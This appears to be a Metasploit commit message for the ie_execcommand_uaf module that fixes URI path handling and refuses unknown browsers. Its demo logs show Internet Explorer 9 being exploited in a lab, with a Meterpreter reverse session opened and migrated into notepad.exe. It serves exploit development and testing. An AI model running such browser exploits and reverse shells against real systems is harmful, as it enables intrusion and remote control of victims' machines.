Fix URIPATH and nil target

Allow random and '/' as URIPATh, also refuse serving the exploit when the browser is unknown.

Demo:

	msf  exploit(ie_execcommand_uaf) > [*]  Local IP: http://10.0.1.3:8080/bl7PFbo
	[*] Server started.
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Redirecting to hmLFo.html
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Loading hmLFo.html
	[*] 10.0.1.7         ie_execcommand_uaf - Using JRE ROP
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Loading JFBVAx.html
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] Sending stage (752128 bytes) to 10.0.1.7
	[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.7:49174) at 2012-09-17 10:49:43 -0500
	[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.7:49174) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (2968)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 3336
	[+] Successfully migrated to process 



	msf  exploit(ie_execcommand_uaf) > [*]  Local IP: http://10.0.1.3:8080/
	[*] Server started.
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Redirecting to KppdS.html
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Loading KppdS.html
	[*] 10.0.1.7         ie_execcommand_uaf - Using JRE ROP
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Redirecting to KppdS.html
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Loading ETPjWu.html
	[*] 10.0.1.7         ie_execcommand_uaf - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
	[*] 10.0.1.7         ie_execcommand_uaf - Redirecting to KppdS.html
	[*] Sending stage (752128 bytes) to 10.0.1.7
	[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.7:49183) at 2012-09-17 10:53:09 -0500
	[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.7:49183) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (1196)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 2424
	[+] Successfully migrated to process


	msf  exploit(ie_execcommand_uaf) > rexploit
	[*] Stopping existing job...
	[*] Reloading module...
	[*] Exploit running as background job.

	[*] Started reverse handler on 10.0.1.3:4444 
	[*] Using URL: http://0.0.0.0:8080/
	[*]  Local IP: http://10.0.1.3:8080/
	[*] Server started.
	msf  exploit(ie_execcommand_uaf) > [*] 10.0.1.3         ie_execcommand_uaf - curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8r zlib/1.2.3
	[-] 10.0.1.3         ie_execcommand_uaf - Browser not supported: curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8r zlib/1.2.3